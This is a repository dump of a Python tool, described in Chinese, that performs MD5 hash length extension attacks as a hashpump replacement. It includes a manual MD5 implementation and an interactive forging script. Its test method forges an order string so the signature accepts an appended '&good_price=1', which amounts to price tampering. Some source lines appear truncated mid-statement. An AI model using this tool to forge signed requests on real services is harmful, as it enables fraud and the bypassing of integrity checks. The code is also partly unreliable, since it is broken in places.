├── .gitignore ├── README.md ├── common ├── HashExtAttack.py ├── __init__.py ├── crypto_utils.py └── md5_manual.py ├── hash_ext_attack.py ├── img ├── img.png └── img_1.png └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | .idea/ 7 | .DS_Store 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | pip-wheel-metadata/ 26 | share/python-wheels/ 27 | *.egg-info/ 28 | .installed.cfg 29 | *.egg 30 | MANIFEST 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .nox/ 46 | .coverage 47 | .coverage.* 48 | .cache 49 | nosetests.xml 50 | coverage.xml 51 | *.cover 52 | *.py,cover 53 | .hypothesis/ 54 | .pytest_cache/ 55 | 56 | # Translations 57 | *.mo 58 | *.pot 59 | 60 | # Django stuff: 61 | *.log 62 | local_settings.py 63 | db.sqlite3 64 | db.sqlite3-journal 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | target/ 78 | 79 | # Jupyter Notebook 80 | .ipynb_checkpoints 81 | 82 | # IPython 83 | profile_default/ 84 | ipython_config.py 85 | 86 | # pyenv 87 | .python-version 88 | 89 | # pipenv 90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 93 | # install all needed dependencies. 94 | #Pipfile.lock 95 | 96 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 97 | __pypackages__/ 98 | 99 | # Celery stuff 100 | celerybeat-schedule 101 | celerybeat.pid 102 | 103 | # SageMath parsed files 104 | *.sage.py 105 | 106 | # Environments 107 | .env 108 | .venv 109 | env/ 110 | venv/ 111 | ENV/ 112 | env.bak/ 113 | venv.bak/ 114 | 115 | # Spyder project settings 116 | .spyderproject 117 | .spyproject 118 | 119 | # Rope project settings 120 | .ropeproject 121 | 122 | # mkdocs documentation 123 | /site 124 | 125 | # mypy 126 | .mypy_cache/ 127 | .dmypy.json 128 | dmypy.json 129 | 130 | # Pyre type checker 131 | .pyre/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hash-ext-attack 2 | 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼 3 | 4 | 5 | ## 使用方法 6 | 7 | ### 交互式 8 | ![img_1.png](img/img_1.png) 9 | 10 | 1. 按照requirements.txt 安装好依赖 11 | 2. 运行 hash_ext_attack.py 脚本 12 | 3. 按照提示输入 13 | 4. 得到新的明文和新的hash 14 | 15 | ### 调用式 16 | 在不知道密钥长度需要爆破或者批量生成时有用 17 | 18 | 按照hash_ext_attack.test() 方法中的实例,在其他脚本中调用hash_ext_attack类中run方法 19 | ![img.png](img/img.png) -------------------------------------------------------------------------------- /common/HashExtAttack.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import time 3 | import urllib.parse 4 | 5 | from common.md5_manual import md5_manual 6 | from loguru import logger 7 | from common.crypto_utils import CryptoUtils 8 | 9 | 10 | class HashExtAttack: 11 | """ 12 | 哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题 13 | 目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式 14 | """ 15 | 16 | def __init__(self): 17 | self.know_text = b"" 18 | self.know_text_padding = b"" 19 | self.new_text = b"" 20 | self.rand_str = b'' 21 | self.know_hash = b"3c5a36dd888251601d36bbc184648717" 22 | self.key_length = 15 23 | 24 | def _padding_msg(self): 25 | """填充明文""" 26 | logger.debug("填充明文") 27 | self.know_text_padding = md5_manual.padding_str(self.know_text) 28 | logger.debug(f"已知明文填充:{self.know_text_padding}") 29 | 30 | def _gen_new_plain_text(self): 31 | """生成新明文""" 32 | self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack(" tuple: 40 | """生成新hash""" 41 | # 第一步先生成新的字符串 42 | # 对已知明文进行填充 43 | self._padding_msg() 44 | # 第二步 生成新明文 45 | self._gen_new_plain_text() 46 | # 第三步 生成新hash(基于已知hash进行计算) 47 | # 3.1 hash拆分成4个分组 48 | hash_block = self.split_hash(hash_str=self.know_hash) 49 | md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block 50 | tmp_str = md5_manual.padding_str(self.new_text) 51 | logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}") 52 | logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}") 53 | md5_manual.solve(tmp_str[-64:]) 54 | self.new_hash = md5_manual.hex_digest() 55 | 56 | return self.new_text, self.new_hash 57 | 58 | def run(self, know_text, know_hash, rand_str, key_len) -> tuple: 59 | # self.know_text = input("请输入已知明文:") 60 | self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接 61 | self.know_hash = know_hash.encode() 62 | self.rand_str = rand_str.encode() 63 | 64 | self._guess_new_hash() 65 | logger.info(f"已知明文:{self.know_text[key_len:]}") 66 | logger.info(f"已知hash:{self.know_hash}") 67 | logger.debug(f"任意填充:{self.rand_str}") 68 | logger.info(f"新明文:{self.new_text[key_len:]}") 69 | logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}") 70 | # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}") 71 | logger.info(f"新hash:{self.new_hash}") 72 | return self.new_text[key_len:], self.new_hash 73 | 74 | def input_run(self): 75 | time.sleep(0.2) 76 | try: 77 | self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "), 78 | int(input("请输入密钥长度:"))) 79 | except KeyboardInterrupt: 80 | logger.info("用户取消输入") 81 | exit(0) 82 | 83 | 84 | def test(self): 85 | self.run( 86 | "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935", 87 | "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50) -------------------------------------------------------------------------------- /common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellfeel/hash-ext-attack/e402b3edec29e8606b6dace88537b1f1578a07f9/common/__init__.py -------------------------------------------------------------------------------- /common/crypto_utils.py: -------------------------------------------------------------------------------- 1 | class CryptoUtils: 2 | 3 | @staticmethod 4 | def trans_str_origin2_bytes(strings: str): 5 | """ 6 | 写入指定bute数据 7 | :param strings: 8 | :return: 9 | """ 10 | plain_text = strings 11 | tmp_b_array = bytearray() 12 | for index, i in enumerate(plain_text): 13 | index += 1 14 | if index % 2 == 0: 15 | tmp_str = plain_text[index - 2:index] 16 | tmp_str = int(tmp_str, 16) 17 | tmp_b_array.append(tmp_str) 18 | return tmp_b_array 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /common/md5_manual.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import hashlib 3 | import math 4 | import struct 5 | from loguru import logger 6 | 7 | 8 | class Md5Manual: 9 | """ 10 | 手动实现md5算法 11 | """ 12 | def __init__(self): 13 | 14 | 15 | self.muilt_block = False 16 | self.msg_len = None 17 | logger.debug("init......") 18 | # 初始向量 19 | self.A, self.B, self.C, self.D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) 20 | # 循环左移的位移位数 21 | self.r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 22 | 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 23 | 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 24 | 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21 25 | ] 26 | # 使用正弦函数产生的位随机数,也就是书本上的T[i] 27 | self.k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)] 28 | 29 | def _count_worth_leng(self, target_str: bytes): 30 | count = 0 31 | for index, i in enumerate(target_str): 32 | # print(hex(i)) 33 | if hex(i) == '0x80' and hex(target_str[index+1]) == '0x0': 34 | 35 | print("yes") 36 | break 37 | count += 1 38 | print(f"意义长度:{count}") 39 | return count 40 | 41 | def padding_str(self, message=None): 42 | """不足64B时的填充算法""" 43 | # 计算位的长度 44 | logger.debug("正在填充") 45 | m_l = len(message) 46 | if self.muilt_block: 47 | logger.debug("启用了父类长度") 48 | m_l = self.msg_len 49 | length = struct.pack(' 0: 62 | message += blank_padding 63 | # print type(length) 64 | logger.debug(f"填充padding的msg({len(message)}): {message}") 65 | message += length 66 | logger.debug(f"填充后的msg({len(message)}): {message}") 67 | return message 68 | 69 | def init_mess(self, message): 70 | """ 71 | 数据预处理 72 | :param message: 73 | :return: 74 | """ 75 | # print(message) 76 | # print(len(message)) 77 | logger.debug(f"message: {message}") 78 | logger.debug(f"字符串长度{len(message)}") 79 | 80 | # print(length) 81 | # print(f"字符串长度{length}") 82 | self.msg_len = len(message) 83 | if(self.msg_len) > 64: 84 | self.muilt_block = True 85 | # 按照 512bit/64B 一组进行处理 86 | while len(message) > 64: 87 | self.solve(message[:64]) 88 | message = message[64:] 89 | 90 | message = self.padding_str(message) 91 | while len(message) > 64: 92 | self.solve(message[:64]) 93 | message = message[64:] 94 | self.solve(message[:64]) 95 | 96 | def solve(self, chunk): 97 | """ 98 | 计算具体块的压缩算法(不用关心) 99 | :param chunk: 100 | :return: 101 | """ 102 | 103 | logger.debug(f"分块长度:{len(chunk)}") 104 | logger.debug(f"分块内容:{chunk}") 105 | w = list(struct.unpack('<' + 'I' * 16, chunk)) # 分成16个组,I代表1组32位 106 | # print(w) 107 | logger.debug(hex(self.A)) 108 | a, b, c, d = self.A, self.B, self.C, self.D 109 | 110 | for i in range(64): # 64轮运算 111 | if i < 16: # 每一轮运算只用到了b,c,d三个 112 | f = (b & c) | ((~b) & d) 113 | flag = i # 用于标识处于第几组信息 114 | elif i < 32: 115 | f = (b & d) | (c & (~d)) 116 | flag = (5 * i + 1) % 16 117 | elif i < 48: 118 | f = (b ^ c ^ d) 119 | flag = (3 * i + 5) % 16 120 | else: 121 | f = c ^ (b | (~d)) 122 | flag = (7 * i) % 16 123 | # print(f"flag is : {flag}") 124 | tmp = b + self._lrot((a + f + self.k[i] + w[flag]) & 0xffffffff, self.r[i]) # &0xffffffff为了类型转换 125 | a, b, c, d = d, tmp & 0xffffffff, b, c 126 | # print(hex(a).replace("0x","").replace("L",""), hex(b).replace("0x","").replace("L","") , hex(c).replace("0x","").replace("L",""), hex(d).replace("0x","").replace("L","")) 127 | # 输出 128 | self.A = (self.A + a) & 0xffffffff 129 | self.B = (self.B + b) & 0xffffffff 130 | self.C = (self.C + c) & 0xffffffff 131 | self.D = (self.D + d) & 0xffffffff 132 | logger.debug(f"块计算后A:{self.hex_digest()}") 133 | 134 | def _lrot(self, x, n): 135 | """循环左移""" 136 | return (x << n) | (x >> 32 - n) 137 | 138 | def digest(self): 139 | """打包""" 140 | return struct.pack(' str: 148 | self.__init__() 149 | # print(type(mess)) 150 | if type(mess) is str: 151 | # print("1111") 152 | logger.debug("字符串") 153 | self.init_mess(mess.encode()) 154 | else: 155 | logger.debug("字节") 156 | self.init_mess(mess) 157 | out_put = self.hex_digest() 158 | 159 | return out_put 160 | 161 | def test_func(self): ... 162 | 163 | 164 | md5_manual = Md5Manual() 165 | 166 | if __name__ == '__main__': 167 | test_str = "1"*56 168 | print(test_str) 169 | print(hashlib.md5(test_str.encode()).hexdigest()) 170 | print(md5_manual.run(test_str.encode())) 171 | -------------------------------------------------------------------------------- /hash_ext_attack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from loguru import logger 4 | 5 | from common.HashExtAttack import HashExtAttack 6 | 7 | def main(): 8 | hash_ext_attack = HashExtAttack() 9 | logger.remove() 10 | logger.add(sys.stderr, level="INFO") 11 | hash_ext_attack.input_run() 12 | 13 | if __name__ == '__main__': 14 | main() -------------------------------------------------------------------------------- /img/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellfeel/hash-ext-attack/e402b3edec29e8606b6dace88537b1f1578a07f9/img/img.png -------------------------------------------------------------------------------- /img/img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellfeel/hash-ext-attack/e402b3edec29e8606b6dace88537b1f1578a07f9/img/img_1.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | loguru==0.6.0 2 | --------------------------------------------------------------------------------